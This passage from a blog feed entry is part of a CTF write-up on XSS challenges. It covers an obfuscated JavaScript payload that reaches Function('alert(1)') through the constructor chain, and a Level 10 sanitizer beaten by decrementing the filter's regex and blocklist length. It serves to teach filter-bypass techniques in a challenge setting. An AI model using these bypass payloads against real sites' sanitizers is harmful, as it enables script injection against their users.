<span class="nx">ᘲ</span><span class="o">=</span><span class="nx">〱</span><span class="p">[</span><span class="mi">6</span><span class="p">],</span>    <span class="c1">// 't'      &lt;- "[object Object]undefinedtruefalse"[6]</span>

<span class="nx">ᘳ</span><span class="o">=</span>          <span class="c1">// 'constructor'</span>
<span class="nx">ᘘ</span>           <span class="c1">// 'c'</span>
<span class="o">+</span><span class="nx">ᘙ</span>          <span class="c1">// 'o'</span>
<span class="o">+</span><span class="nx">〱</span><span class="p">[</span><span class="mi">16</span><span class="p">]</span>     <span class="c1">// 'n'</span>
<span class="o">+</span><span class="nx">〱</span><span class="p">[</span><span class="mi">31</span><span class="p">]</span>     <span class="c1">// 's'</span>
<span class="o">+</span><span class="nx">ᘲ</span>          <span class="c1">// 't'</span>
<span class="o">+</span><span class="nx">ᘚ</span>          <span class="c1">// 'r'</span>
<span class="o">+</span><span class="nx">〱</span><span class="p">[</span><span class="mi">15</span><span class="p">]</span>     <span class="c1">// 'u'</span>
<span class="o">+</span><span class="nx">ᘘ</span>          <span class="c1">// 'c'</span>
<span class="o">+</span><span class="nx">ᘲ</span>          <span class="c1">// 't'</span>
<span class="o">+</span><span class="nx">ᘙ</span>          <span class="c1">// 'o'</span>
<span class="o">+</span><span class="nx">ᘚ</span><span class="p">,</span>          <span class="c1">// 'r'</span>

<span class="nx">ᘎ</span><span class="o">=</span>          <span class="c1">// 'alert(1)'</span>
<span class="nx">〱</span><span class="p">[</span><span class="mi">29</span><span class="p">]</span>      <span class="c1">// 'a'</span>
<span class="o">+</span><span class="nx">〱</span><span class="p">[</span><span class="mi">30</span><span class="p">]</span>     <span class="c1">// 'l'</span>
<span class="o">+</span><span class="nx">〱</span><span class="p">[</span><span class="mi">4</span><span class="p">]</span>      <span class="c1">// 'e'</span>
<span class="o">+</span><span class="nx">ᘚ</span>          <span class="c1">// 'r'</span>
<span class="o">+</span><span class="nx">ᘲ</span>          <span class="c1">// 't'</span>
<span class="o">+</span><span class="dl">'</span><span class="s1">(1)</span><span class="dl">'</span><span class="p">,</span>

<span class="p">[][</span><span class="nx">ᘳ</span><span class="p">][</span><span class="nx">ᘳ</span><span class="p">](</span><span class="nx">ᘎ</span><span class="p">)()</span> <span class="c1">// []['constructor']['constructor']('alert(1)')() == Function('alert(1)')</span>
</code></pre></div></div>
<p><img src="/assets/2023-10-08-eXSStravaganza/images/xss9.png" alt="" />
<img src="/assets/2023-10-08-eXSStravaganza/images/xss10.png" alt="" /></p>

<h1 id="level-10">Level 10</h1>
<p>Sanitizer :</p>
<div class="language-javascript highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="kd">function</span> <span class="nx">sanitize</span><span class="p">(</span><span class="nx">input</span><span class="p">)</span> <span class="p">{</span>
    <span class="c1">// sanitization!</span>
    <span class="kd">const</span> <span class="nx">sanitized</span> <span class="o">=</span> <span class="nx">input</span>
        <span class="p">.</span><span class="nx">replace</span><span class="p">(</span><span class="sr">/</span><span class="se">[</span><span class="sr">&lt;&gt;="&amp;%$#</span><span class="se">\\/]</span><span class="sr">/g</span><span class="p">,</span> <span class="dl">''</span><span class="p">)</span>
        <span class="p">.</span><span class="nx">split</span><span class="p">(</span><span class="dl">'</span><span class="se">\n</span><span class="dl">'</span><span class="p">)</span>
        <span class="p">.</span><span class="nx">map</span><span class="p">(</span><span class="nx">row</span> <span class="o">=&gt;</span> <span class="dl">'</span><span class="s1">eval(sanitizeAgainAgain(sanitizeAgain("</span><span class="dl">'</span> <span class="o">+</span> <span class="nx">row</span> <span class="o">+</span> <span class="dl">'</span><span class="s1">")))</span><span class="dl">'</span><span class="p">)</span>
        <span class="p">.</span><span class="nx">join</span><span class="p">(</span><span class="dl">'</span><span class="se">\n</span><span class="dl">'</span><span class="p">);</span>
    <span class="k">return</span> <span class="dl">'</span><span class="s1">  </span><span class="se">\</span><span class="s1">x3Cscript&gt;</span><span class="se">\n</span><span class="dl">'</span> <span class="o">+</span> <span class="nx">sanitized</span> <span class="o">+</span> <span class="dl">'</span><span class="se">\n</span><span class="s1">  </span><span class="se">\</span><span class="s1">x3C/script&gt;</span><span class="dl">'</span>
<span class="p">}</span>

<span class="kd">var</span> <span class="nx">bad</span> <span class="o">=</span> <span class="p">[</span><span class="dl">'</span><span class="s1">&lt;</span><span class="dl">'</span><span class="p">,</span> <span class="dl">'</span><span class="s1">&gt;</span><span class="dl">'</span><span class="p">,</span> <span class="dl">'</span><span class="s1">&amp;</span><span class="dl">'</span><span class="p">,</span> <span class="dl">'</span><span class="s1">%</span><span class="dl">'</span><span class="p">,</span> <span class="dl">'</span><span class="s1">$</span><span class="dl">'</span><span class="p">,</span> <span class="dl">'</span><span class="s1">#</span><span class="dl">'</span><span class="p">,</span> <span class="dl">'</span><span class="s1">[</span><span class="dl">'</span><span class="p">,</span> <span class="dl">'</span><span class="s1">]</span><span class="dl">'</span><span class="p">,</span> <span class="dl">'</span><span class="s1">|</span><span class="dl">'</span><span class="p">,</span> <span class="dl">'</span><span class="s1">{</span><span class="dl">'</span><span class="p">,</span> <span class="dl">'</span><span class="s1">}</span><span class="dl">'</span><span class="p">,</span> <span class="dl">'</span><span class="s1">;</span><span class="dl">'</span><span class="p">,</span> <span class="dl">'</span><span class="se">\\</span><span class="dl">'</span><span class="p">,</span> <span class="dl">'</span><span class="s1">/</span><span class="dl">'</span><span class="p">,</span> <span class="dl">'</span><span class="s1">,</span><span class="dl">'</span><span class="p">,</span> <span class="dl">'</span><span class="s1">"</span><span class="dl">'</span><span class="p">,</span> <span class="dl">'</span><span class="se">\'</span><span class="dl">'</span><span class="p">,</span> <span class="dl">'</span><span class="s1">=</span><span class="dl">'</span><span class="p">,</span> <span class="dl">'</span><span class="s1">`</span><span class="dl">'</span><span class="p">,</span> <span class="dl">'</span><span class="s1">(</span><span class="dl">'</span><span class="p">,</span> <span class="dl">'</span><span class="s1">)</span><span class="dl">'</span><span class="p">];</span>

<span class="kd">function</span> <span class="nx">sanitizeAgain</span><span class="p">(</span><span class="nx">input</span><span class="p">)</span> <span class="p">{</span>
    <span class="c1">// more sanitization!</span>
    <span class="kd">const</span> <span class="nx">sanitized</span> <span class="o">=</span> <span class="nx">input</span><span class="p">.</span><span class="nx">split</span><span class="p">(</span><span class="dl">''</span><span class="p">).</span><span class="nx">filter</span><span class="p">(</span><span class="nx">c</span> <span class="o">=&gt;</span> <span class="o">!</span><span class="nx">bad</span><span class="p">.</span><span class="nx">includes</span><span class="p">(</span><span class="nx">c</span><span class="p">)).</span><span class="nx">join</span><span class="p">(</span><span class="dl">''</span><span class="p">);</span>
    <span class="k">return</span> <span class="nx">sanitized</span><span class="p">;</span>
<span class="p">}</span>

<span class="kd">var</span> <span class="nx">regex</span> <span class="o">=</span> <span class="sr">/</span><span class="se">[^</span><span class="sr">A-z.</span><span class="se">\-]</span><span class="sr">/g</span>

<span class="kd">function</span> <span class="nx">sanitizeAgainAgain</span><span class="p">(</span><span class="nx">input</span><span class="p">)</span> <span class="p">{</span>
    <span class="c1">// even more sanitization!</span>
    <span class="kd">const</span> <span class="nx">sanitized</span> <span class="o">=</span> <span class="nx">input</span><span class="p">.</span><span class="nx">replace</span><span class="p">(</span><span class="nx">regex</span><span class="p">,</span> <span class="dl">''</span><span class="p">);</span>
    <span class="k">return</span> <span class="nx">sanitized</span><span class="p">;</span>
<span class="p">}</span>
</code></pre></div></div>
<p>In this layer , we have multiple functions that sanitize the input, but as we can see our input is passed to the eval() function and in all cases <code class="language-plaintext highlighter-rouge">'eval is evil'</code> <br />
Analyzing the source code we notice that a new <code class="language-plaintext highlighter-rouge">eval(sanitizeAgain(sanitizeAgain("' + INPUT + '")</code> is generated for each line of input, which means that we can simply enter each part of code separated by a newline.<br />
<code class="language-plaintext highlighter-rouge">bad</code> and <code class="language-plaintext highlighter-rouge">regex</code> are declared variables and the <code class="language-plaintext highlighter-rouge">-</code> character is not filtered out so we can use it to convert <code class="language-plaintext highlighter-rouge">regex</code> to <code class="language-plaintext highlighter-rouge">NaN</code> : <code class="language-plaintext highlighter-rouge">regex--</code>
<img src="/assets/2023-10-08-eXSStravaganza/images/xss11.png" alt="" /> 
We can do the same thing on the length of the <code class="language-plaintext highlighter-rouge">bad</code> array by removing the characters we are interested in (in this case <code class="language-plaintext highlighter-rouge">()</code>) 
<img src="/assets/2023-10-08-eXSStravaganza/images/xss12.png" alt="" /></p>

<p>so our final payload will be :</p>
<div class="language-javascript highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="nx">regex</span><span class="o">--</span>
<span class="nx">bad</span><span class="p">.</span><span class="nx">length</span><span class="o">--</span>
<span class="nx">bad</span><span class="p">.</span><span class="nx">length</span><span class="o">--</span>
<span class="nx">alert</span><span class="p">(</span><span class="mi">1</span><span class="p">)</span>
</code></pre></div></div>
<p><img src="/assets/2023-10-08-eXSStravaganza/images/xss13.png" alt="" /></p>

<h1 id="level-bonus-1-2-3">Level Bonus 1 ,2 ,3</h1>]]></content><author><name>Martino Spagnuolo</name></author><category term="ctf" /><category term="xss" /><summary type="html"><![CDATA[Writeups of some XSS challenges from CodeInTheDark CTF]]></summary><media:thumbnail xmlns:media="http://search.yahoo.com/mrss/" url="https://r3verii.github.io/assets/img/og-home.png" /><media:content medium="image" url="https://r3verii.github.io/assets/img/og-home.png" xmlns:media="http://search.yahoo.com/mrss/" /></entry></feed>